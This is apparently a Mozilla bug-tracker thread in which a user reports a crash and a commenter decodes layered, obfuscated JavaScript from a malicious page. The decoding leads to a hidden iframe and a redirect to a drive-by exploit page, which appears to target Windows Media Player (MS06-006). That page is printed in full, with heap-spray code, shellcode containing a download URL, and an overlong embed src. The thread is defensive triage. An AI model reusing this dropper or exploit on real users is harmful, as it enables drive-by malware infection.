OgOoOWOForO0OjogocorO0OforrrObowO3OtO8OAo3ocorO0rpOjoFonryO0roOjorrrObOGOyODOGOAOWOForO0oNoFonocOgOoOWOFrOODOjogocrOODOfOEOkOdOZObowO3OtO8OAo3ocrOODrprponryOEOgOFOEOkOdOZrWrOODrEOjOjO0roonODOWO3OnrAocr0ONoWO8rpOjo5OAOWOEOtO8ObOgOWOoO0Oko3OnOWOkOoOOO3OFokOWrWrOODrEoDoFoZojoXoaonocr0OgOyOtOrOAOEOoOtONodo5oGrFOFoArHrfonryOWO3OAOyOWOtONoArHrfObowO3OtO8OAo3r0OOOoOrOyO0O3OtOAObOpOWOEOAO3OFoWO8onocOfrGOGOrOWOEOwOAOcOHonoc',KoW='';VJL=VJL.split(AFh);for(GIlJ=0;GIlJ<zr.length;GIlJ+=2){AQd=zr.substr(GIlJ,2);for(wOW=0;wOW<VJL.length;wOW++){if(VJL[wOW]==AQd)break;} KoW+=String.fromCharCode(Dr[wOW]^14300);}function MS(Sa){return parseInt(Sa)}function BUx(GjF){return GjF.length}function MOx(Lsrk,ZK){return Lsrk.split(ZK)}eval(KoW);</script>
Could you get a talkback ID of the crash? http://kb.mozillazine.org/Talkback That way, it might become clear where and how and why you crashed.
The snippet on the end of that page evals to: document.write("<script>var iCYq='aaxarxavxabxafxaqxaMxagxa1xa7xaGxasxaZxaOxahxadxaYxaHxaWxaFxajxatxaBxayxa2xaVxaKxaXxapxalxaixraxrrxrvxrbxrfxrqxrMxrgxr1xr7xrGxrsxrZxrOxrhxrdxrYxrHxrWxrFxrjxrtxrBxryxr2xrVxrKxrXxrpxrlxrixvaxvrxvvxvbxvfxvqxvMxvgxv1xv7xvGxvsxvZ';var rq=String('x'),zr=Array(rVZ('23969'),19941^4107,rVZ('24062'),rVZ('24047'),rVZ('24052'),3156^20921,rVZ('24041'),rVZ('23971'),rVZ('24059'),rVZ('24040'),15176^26299,rVZ('24050'),21406^3619,rVZ('24008'),29636^11827,18122^7039,29840^10561,32493^8967,rVZ('24005'),16750^7349,26035^14343,8453^31971,rVZ('24056'),12282^29257,24072^1017,rVZ('24058'),rVZ('24053'),rVZ('24032'),rVZ('24043'),rVZ('24060'),rVZ('24021'),23446^1601,rVZ('24007'),rVZ('23968'),rVZ('23994'),11228^30267,8643^31775,rVZ('24022'),rVZ('23976'),24330^709,rVZ('24036'),rVZ('24024'),10090^31427,rVZ('23979'),rVZ('24037'),14242^27151,26198^15353,rVZ('24011'),31567^9887,rVZ('24020'),rVZ('24048'),rVZ('23985'),13936^27581,rVZ('24014'),8109^16907,8653^31753,rVZ('23972'),30375^11021,29170^11313,rVZ('23982'),rVZ('23980'),6516^17617,11366^29113,20831^3201,rVZ('24018'),rVZ('24054'),19972^5115,rVZ('24009'),rVZ('24012'),7234^16785,2511^21625,rVZ('24006'),29079^11351,rVZ('24057'),31165^9231);var Gm,Lb;var mI,GN='aaaravabafaqaMaga1a7aGavaMafasaGaZaOahavadaYaHaWaFajatabaBaMa7abaGaZaYaHaWaFaya2aBaGaVaMaKaXapalabaZaiarrarrrvrbrfrfrarfrqrarfrMrarfasrarfa2rarfaYrarfavrarfabrarfrgrarfr1rarfaHrarfaKrarfr7rarfrGrarfalrarfaBrarfrsrarfa7rarfaqrarfrZrarfrOrarfaMrarfrhrarfrdrarfrYrarfaWrarfrHrarfrWrarfrFrbrjaqaMrta7rvrBaMabafaGaVadrbrarbajryapalabaZaOr2aGrvrqababalr7adrdrhrVrKrsrXrdrKrprjrlrirhrKrKrXrgrZrirKrjrdrsrhrZrsrXrprKrsrVrjrlrlrlrlrZrXrprlrKrhrVrjrVrhrZrKrXrdrVrZrsrlrjrlrsrdrsrKrXrdrZrprKrKrjrlrsrhrhrVrXrdrZrlrsrprjrVrhrlrsrXrdrVrZrgrprjrOravavradrbrdrhrZrgrZrbajrjrOravavradrbrdrhrZrsrhrbajrjrdrdrKrVrKrXrdrgrsrKrjrdrdrsrhrKrXrlrirVrlrjrOravavradrbrdrhrZrgrlrbajrjrlrKrdrdrdrXrgrlrhrgrjrlrgrsrgrirXrdrKrirgrKrjrOravavradrbrdrhrKrdrVrbajrjrOravavradrbrdrhrKrlrZrbajrjrOravavradrbrdrhrZrgrdrbajrjrVrsrhrlrXrdrVrKrZrVrjrdrgrprirXrdrdrirlrlrjrOravavradrbrdrhrKrlrKrbajrjrVrirKrKrXrprhrdrgrKrjrgrgrVrdrXrlrKrKrZrprjrlrdrgrlrhrXrdrsrKrhrprjrprhrZrdrZrXrVrVrirVrjrprdrKrsrhrXrlrdrhrgrgrjrdrVrlrlrXrdrprgrprlrjrlrVrVrZrgrXrKrsrprVrjrOravavradrbrdrhrKrprprbajajrjvvasryapalabaZvbvfrjvqaGryapalabaZvMaGr2rvrbrfrfrfrqrfrMrfasrfa2rfaYrfavrfabrfrgrfasrfr1rfaHrfaKrfr7rfrGrfrGrfalrfaBrfrsrfrsrfr1rfa7rfr1rfa7rfaqrfrZrfrOrfa7rfasrfaMrfrsrfa7rfrsrfavrfrhrfalrfrsrfaKrfabrfrMrfasrfa2rfaYrfavrfrdrfa7rfasrfrYrfavrfasrfaHrfaWrfabrfrHrfrqrfrYrfrGrfr7rfaHrfrWrfabrfr7rfavrfrqrfaMrfr7rfrGrfaHrfrWrfrFrfrfrfrsrfrqrfrMrfasrfa2rfaYrfavrfrFrbrjvgvMarrvrbrbryaiarrarrrvaiarrarrayaraqa2afaMadaqaMrta7ajrya1asabadvvasrvrhryvvasaavMaGr2aya2aBaGaVaMaKryvvasv1rvrdajatvqaGrvvMaGr2ayara7vfaraMabadvvasrjrdajrya1asabadvbvfrvrhryvbvfaaaiarrarraya2aBaGaVaMaKryvbvfv1v1ajatafa1adaiarrarrv7vbvfvGrvrvvqaGajvfabaBalvbryaXaZvgvMarv1rvrBaMabafaGaVaya1abasrFvraKalabvrasvsaBadaOr2aGv7vbvfvGrXrdrhrZrKrgajryaXa1a7aGavaMafasaGaZrOravavrada2rMarajatabaBaMa7abaGaZaqalabaraBrWaGaMada2rMarajaXa1a7aGavaMafasaGaZvMvqadvbr1vMrYrjr2vqajatabaBaMa7abaGaZvbr1vMrYayaraqa2afaMadr2vqajaXvsasava7rFaBaGaMayaHabafaMaBadvgvMarajryaavZaravabafaqaMag';var Bg=String();function rVZ(sM){return parseInt(sM)}function xDvj(LJky,AzEr){return LJky.split(AzEr)}iCYq=iCYq.split(rq);for(Gm=0;Gm<GN.length;Gm+=2){mI=GN.substr(Gm,2);for(Lb=0;Lb<iCYq.length;Lb++){if(iCYq[Lb]==mI)break;} Bg+=String.fromCharCode(zr[Lb]^23965);}function ASXP(WTQ){return WTQ.length}document.write(Bg);</script>"); Which in turn unobfuscates to: <script>function Ujc(LwXF){return LwXF.length}var HsJZ='zzJzAJzKJzoJzlJzLJzcJzrJz5JzRJzwJzhJzyJzEJzaJzeJz4JzuJzpJz6JzxJztJz0Jz2JzVJzXJzMJzIJzm',ptPu=String('J');var UYn=Array(20974^273,18077^5687,24064^3749,11116^31709,9067^29641,14247^26377,14009^26143,9014^29653,xJBC('20656'),xJBC('20640'),22797^2547,22407^1891,xJBC('20651'),17222^5105,15458^27857,xJBC('20729'),xJBC('20716'),xJBC('20652'),9401^29769,2538^22811,xJBC('20717'),9877^30257,5592^17763,12510^24703,30626^9989,32740^12055,2911^23531,19965^7439,xJBC('20733')),Oo;var kb,Tn;var QnY='zzzAzKzozlzLzczrz5zozRzwzhzyzEzEzazez4z4zRzuzRzuzpz6zxzuzoztz4zuz4zcz0zaz4zhzrzKzozlzLzcz2zuzozVzczozwzXzrzMzAzVzEzyzwzIzrzyzczAztzyzEzwzIzmzzz4zAzKzozlzLzczm',NQs='';HsJZ=HsJZ.split(ptPu);for(Oo=0;Oo<QnY.length;Oo+=2){Tn=QnY.substr(Oo,2);for(kb=0;kb<HsJZ.length;kb++){if(HsJZ[kb]==Tn)break;} NQs+=String.fromCharCode(UYn[kb]^20675);}function xJBC(lKs){return parseInt(lKs)}function QT(kRQV,YT){return kRQV.split(YT)}document.write(NQs);</script> Which in the end turns into simply <iframe src='http://coco32.org/o/exp/' frameborder=0 width=1 height=1></iframe> It's interesting that the three obfuscated blocks are structurally the same, you'd think one round of obfuscation would be enough. That page redirects to http://s1.rollsystems.info/o0o/exp/ where the content of that page is at last straight-forward: <HTML><HEAD> <SCRIPT> function getpayload() { return "%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0320%u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2%uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u8304%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u8BFF%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%uBF5D%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%uD0FF%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%uFFFF%u7468%u7074%u2F3A%u732F%u2E31%u6F72%u6C6C%u7973%u7473%u6D65%u2E73%u6E69%u6F66%u6F2F%u6F30%u652F%u7078%u662F%u6C69%u2E65%u6870%u0070"; } var s=unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); do {s+=s} while(s.length<0x0900000); s+=unescape(getpayload()); </SCRIPT> </HEAD><BODY><EMBED SRC="----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv"></EMBED></BODY></HTML> So that fills memory with a payload, and apparently expects the long src url in the <embed> to cause a memory fault. Memory fault in Firefox, or in Windows Media Player?
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: crash
Summary: application just closed without any message. → application just closed without any message (embed with long src?)
Doesn't crash Firefox or WMP for me. What version of WMP do you have on your system? Sounds like an exploit from last year http://www.microsoft.com/technet/security/Bulletin/MS06-006.mspx http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=393 Please apply the patches to Windows Media Player!
Status: NEW → RESOLVED
Closed: 19 years ago
Resolution: --- → INVALID
Summary: application just closed without any message (embed with long src?) → WMP crash on long <embed> src (Microsoft Security Bulletin MS06-006)
Whiteboard: WMP crash
Group: security
ok thanks for this information.
You need to log in before you can comment on or make changes to this bug.